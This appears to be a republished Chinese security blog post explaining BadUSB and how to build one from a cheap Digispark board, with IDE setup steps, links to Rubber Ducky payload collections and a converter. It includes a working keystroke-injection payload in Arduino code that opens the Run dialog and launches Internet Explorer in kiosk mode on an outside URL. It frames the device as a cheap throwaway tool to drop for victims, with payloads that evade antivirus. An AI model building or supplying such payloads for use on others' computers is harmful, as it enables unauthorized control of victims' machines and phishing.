7块钱的BadUSB

引言

BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。

威胁

BadUSB的严重威胁主要来自于两个方面:

❶ 好奇心

捡到U盘肯定会好奇是谁丢的,或者里面是什么东西吧。在著名的美剧《黑客军团》中就出现了在停车场扔BadUSB来进行钓鱼的场景。

❷ USB协议漏洞

杀毒软件会对移动存储介质的内容进行查杀,但是肯定不会对接入的“键盘”进行查杀的。只要运行的payload是免杀的,那么BadUSB就不会被防护软件拦截。就目前看来,仍然没有一家的防护软件宣称能够阻拦这种攻击。

常见BadUSB

BadUSB现在有很多成熟的产品了,比如大名鼎鼎的hak5的USB RUBBER DUCKY,在美剧《黑客黑客》中,主角就是利用的这款BadUSB钓鱼从而控制目标主机的。

https://hakshop.com/products/usb-rubber-ducky-deluxe

https://malduino.com/

国内也有RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的FireGoose(烧鹅)http://wiki.radiowar.org/烧鹅

国内的部分极客也都在自己制作Badusb,大多是采用的Teensy 或者Arduino Leonardo,淘宝上还有厂商制作的U盘模样的Arduino Leonardo。

综上,基本常见的BadUSB价格都在$45刀(¥290)至¥45之间,那么作为一个使用方法大多为撒在地上、一次性的黑客工具来说,成本是一个很大的问题,那么今天就来介绍一款只需要几块钱就能买到的BadUSB——Digispark。

Digispark

❶ 简介

Digispark是一个基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,功能方面则没有Arduino般强大。代码与Arduino大同小异,更可贵的是使用Arduino IDE来开发。淘宝上直接搜索Digispark就能看到了,价格在7-10元不等。

❷ 配置环境

Digispark官网给出的有教程。http://digistump.com/wiki/digispark/tutorials/connecting

安装 arduino 的 IDE。https://www.arduino.cc/en/Main/Software直接从官网按照自己的操作系统下载并安装。

安装Digispark的驱动。(32位操作系统和64位操作系统安装程序不同,需注意)https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

在Arduino应用程序中,进入“文件”菜单并选择“首选项”

在附加开发板管理器网址内填入并点击确定

http://digistump.com/package_digistump_index.json

注意:如果您已经在该框中输入了更多网址,请点击框右侧的按钮,然后在新行中输入此网址。

进入“工具”菜单,然后选择“开发板”子菜单 - 选择“开发板管理器”

然后从类型下拉菜单中选择“贡献”, 选择“Digistump AVR Boards”包,然后单击“安装”按钮

您将在“开发板管理器”窗口的底部栏上看到下载进度,完成后它会在列表中的该项旁边显示“已安装”。(特别慢)

安装完成后,就可以在开发板中看到Digispark了。选择默认的Digispark (Default - 16.5mhz)。

注意:在调用上传之前,不需要插入Digispark

点击上传按钮。底部状态框现在会要求您插入Digispark - 此时您需要插入它 - 或者拔下并重新插入它。

❸ Payload

关于的Digispark的payload,可以参考甚至修改它的keyboard库文件(修改可以参考usb.org)。

https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h

说到BadUSB的payload,就不得不提到hak5的USB-Rubber-Ducky。

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

应该是目前BadUSB里面payload最全的了,如果你懒得写,可以直接使用USB-Rubber-Ducky的payload翻译脚本

https://github.com/toxydose/Duckyspark

直接将大黄鸭的payload翻译成Digispark可用的就行了。

当然,我还是建议自己来改DigiKeyboard.h 文件和payload。

这里给出我的payload抛砖引玉

恶搞payload

#include "DigiKeyboard.h"

void setup() {

DigiKeyboard.delay(2000);//开机延迟两秒钟,用于系统识别Digispark

DigiKeyboard.sendKeyStroke(0);

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//按R和win键,打开运行

DigiKeyboard.delay(100);

DigiKeyboard.sendKeyPress(KEY_LEFT_SHIFT);//按住左SHIFT,绕过输入法

DigiKeyboard.println("IEXPLORE -K HTTP://MTFLY.NET/X.HTM");

DigiKeyboard.sendKeyPress(0);//松开

DigiKeyboard.sendKeyStroke(KEY_ENTER);//按回车

DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_A);//按A键,绕过第一次打开ie的提示框

}

void loop() {

}

注意:使用该payload时需要修改本地的DigiKeyboard.h,添加左shift键

#define KEY_LEFT_SHIFT 0xE1

总结

这么一个这么廉价并且win10无驱运行的BadUSB,Digispark可以算是居家旅行,杀人灭口的必备良器了。

原文发布于微信公众号 - 安恒信息(DBAPP2013)

原文发表时间:2018-03-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏BIT泽清

IOS 2.1和4.3条款被拒?金融股票配资,社区交流类APP苹果过审方案

苹果开发者上传APP最头痛的三件事就是等待审核、正在审核和审核不通过。据2018年5月之前,苹果方其实对APP的审核力度并不是很大,后因为世界杯的到来,众多的菠...

4030
来自专栏编程一生

离线数据推送问题(消息队列)

1502
来自专栏FreeBuf

Pegasus间谍套件内部原理及流程剖析

事件介绍 这篇报道是关于最近发生的在全球范围内活跃的APT间谍软件的深度研究,Lookup团队已经捕获了样本,并且在一台全新的iOS设备上进行了深度研究。 NS...

3869
来自专栏BIT泽清

金融,借贷,股票,贷款超市类型的App无相关资质提审被拒解决方案

由于最近经常帮客户上金融App,需要将公司开发者帐号中的App 转移到 新的公司帐号中,特此记下流程,便于 其他iOS开发者 做App 转移。

2314
来自专栏养码场

一周播报| 平淡无奇,但暗藏杀机的一周

养码人B:消息写DB的话,TPS、RT 这些能接受吗?你们用的是什么消息中间件?

581
来自专栏古时的风筝

为什么你在群里提的技术问题没人回答?

作为一个程序员,把代码写好是本分,但仅仅是写好代码是不够的,工作的过程中总免不了要与别人打交道。几乎隔一段时间,我就会发现有些人身上出现下面的这两个问题。第一个...

1252
来自专栏FreeBuf

当“宿主”披上QQ盗号的外衣

导读:生物学上病毒侵入的细胞就叫宿主细胞,而病毒则借助宿主的蛋白质和其他物质制造自己的身体,由于控制细胞增殖的结构基因发生突变,调节系统对它失去控制,结果就会造...

1920
来自专栏FreeBuf

一个有20年历史的SMB漏洞:一台树莓派就能DoS大型服务器,微软表示不会修复该漏洞

绝大部分 DoS 攻击,一般来说都是目标系统收到大量服务请求,最终导致拒绝服务状态。实际上,随着技术的发展,如果要让现在的系统“拒绝服务”,是需要海量请求配合的...

4194
来自专栏知晓程序

如何为小程序申请微信认证?| 小程序问答 #35

在第 28 期小程序问答,我们提到,微信认证后的小程序,会享受不少「特权」,类似微信支付、小程序成员上限提升等。

3300
来自专栏魏琼东

AgileEAS.NET SOA中间件平台更新日志 2015-04-28

一、前言      AgileEAS.NET SOA 中间件平台是一款基于基于敏捷并行开发思想和Microsoft .Net构件(组件)开发技术而构建的一个快速...

3125

扫码关注云+社区

领取腾讯云代金券